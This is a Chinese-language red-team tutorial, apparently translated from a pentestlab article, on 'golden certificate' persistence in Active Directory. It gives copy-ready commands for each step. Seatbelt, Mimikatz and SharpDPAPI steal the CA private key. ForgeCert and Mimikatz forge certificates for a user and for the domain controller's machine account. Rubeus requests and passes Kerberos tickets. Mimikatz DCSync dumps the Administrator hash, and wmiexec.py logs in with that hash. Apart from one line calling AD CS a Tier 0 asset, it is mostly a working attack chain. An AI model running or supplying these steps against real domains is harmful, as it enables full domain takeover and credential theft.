域控渗透最常见的域持久性技术之一是黄金票据攻击,它涉及使用“ krbtgt ”的 NTLM 哈希创建 kerberos 票证。但是在部署了 Active Directory 认证服务 (AD CS) 的服务器的域中,可能会在发生入侵时被滥用以实现域持久性。通过窃取 CA 证书的私钥,红队可以伪造和签署证书以用于身份验证。在部署 Active Directory 证书服务 (AD CS) 期间,域中默认启用基于证书的身份验证。因此,需要将这些系统视为第 0 层资产并得到适当保护。
通过黄金证书执行域持久化需要以下步骤:
- 证书提取 (CA)
- 伪造CA证书
- 获取 Kerberos 票证(DC 的机器账户)
- 执行pass票证
证书提取
CA 证书和私钥存储在 CA 服务器中。使用与系统的 RDP 连接,可以使用“ certsrv.msc ”的备份功能检索这些信息。
certsrv – 备份 CA
在证书颁发机构备份向导中,私钥和 CA 证书都可以导出到指定位置。
certsrv – 私钥和备份位置
CA 证书将导出为 p12 文件(个人信息交换)。
certsrv – 提取的 CA
但是,还有多种其他方法可用于从服务器提取 CA 证书和私钥。使用参数“ Certificates ”执行Seatbelt可以枚举存储的CA证书。
代码语言:javascript复制Seatbelt.exe Certificates
Seatbelt – 本地机器
Mimikatz 还可以与加密存储进行交互,以检索和导出证书和私钥。修补“ CryptoAPI ”和“ KeyIso ”不可导出的密钥将可以从许多密钥提供程序导出。
代码语言:javascript复制privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export
Mimikatz – 导出证书
Mimikatz - CA 证书
证书将以 .DER 和 .PFX 格式提取到磁盘上。
SharpDPAPI也可用于提取证书。执行“ certificates /machine ”命令将使用机器证书存储来提取可解密的机器证书和私钥。
代码语言:javascript复制SharpDPAPI.exe certificates /machine
SharpDPAPI – 机器证书
私钥和证书都将显示在控制台中。
SharpDPAPI - CA 证书
提取的私钥和证书可以写入扩展名为 .PEM 的文件中。执行以下命令可以将证书转换为可用格式,如 .PFX 允许用于使用 Rubeus 进行身份验证。
代码语言:javascript复制openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
将证书转换为 PFX
伪造CA证书
Mimikatz 可用于通过使用“ crypto::scauth ”模块来伪造和签署证书。该模块最初是为创建智能卡身份验证客户端证书而开发的。所需的参数是证书颁发机构的主题名称和将创建证书的用户的用户主体名称。可选项,“ /pfx ”参数可用于定义将要创建的证书的文件名。
代码语言:javascript复制crypto::scauth /caname:ca /upn:pentestlab@purple.lab
伪造CA证书——Mimikatz
或者,ForgeCert是由Lee Christensen在 C# 中开发的,它使红队能够使用 CA 证书为任何域用户伪造证书进行身份验证。该工具可以注入内存中执行,并将文件写入磁盘。执行以下命令将为“ pentestlab ”用户创建一个假证书,该证书将由 CA 证书的私钥签名。
代码语言:javascript复制ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName pentestlab@purple.lab --NewCertPath localadmin.pfx --NewCertPassword Password123
伪造CA证书-域用户
应该注意的是,必须为域上的活动用户创建证书。因此它不能用于“ krbtgt ”帐户。伪造证书的有效期为1年,只要CA证书有效(一般为5年)就有效。除了域用户帐户外,机器帐户也可用于域持久性,因为可以使用 DCSync、Pass the Ticket 和 S4U2Self 等技术。
代码语言:javascript复制ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@purple.lab --NewCertPath DC$.pfx --NewCertPassword Password123
伪造证书-机台账
Kerberos 票证
可以使用伪造的证书从密钥分发中心 (KDC) 请求 Kerberos 票证以进行身份验证。
代码语言:javascript复制Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123
Rubeus – Kerberos 票证
Rubeus - 域用户票
通过票证
可以从域中的任何主机使用属于域控制器的机器帐户的证书来请求 Kerberos 票证。执行以下命令将检索 base64 格式的票证。
代码语言:javascript复制Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123
Rubeus - 请求 DC 机器帐户的票证
DC 机器帐户 Base64 票证
base64 票证可以被解码并写入扩展名为 .kirbi 的文件中。
代码语言:javascript复制echo "<base64>" | base64 -d > dc$.kirbi
将 Base64 票证转换为 Kirby
票证可以传输到任何 Windows 主机,并使用传递票证技术导入任何用户会话。
代码语言:javascript复制Rubeus.exe ptt /ticket:dc$.kirbi
Rubus – 通过票证
由于票据属于域控制器的计算机帐户,因此可以执行提升的活动,例如 DCSync。从当前执行 Mimikatz 并运行以下命令的会话中,将检索作为域管理员帐户的用户 Administrator 的 NTLM 哈希。
代码语言:javascript复制lsadump::dcsync /user:Administrator
Mimikatz – DCSync
散列可用于通过散列技术或通过 WMI 连接建立对域控制器的访问。
代码语言:javascript复制python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1
WMI 连接 - 域控制器
参考链接
https://github.com/GhostPack/Seatbelt
https://github.com/GhostPack/SharpDPAPI
https://github.com/GhostPack/ForgeCert
https://pentestlab.blog/2021/11/15/golden-certificate/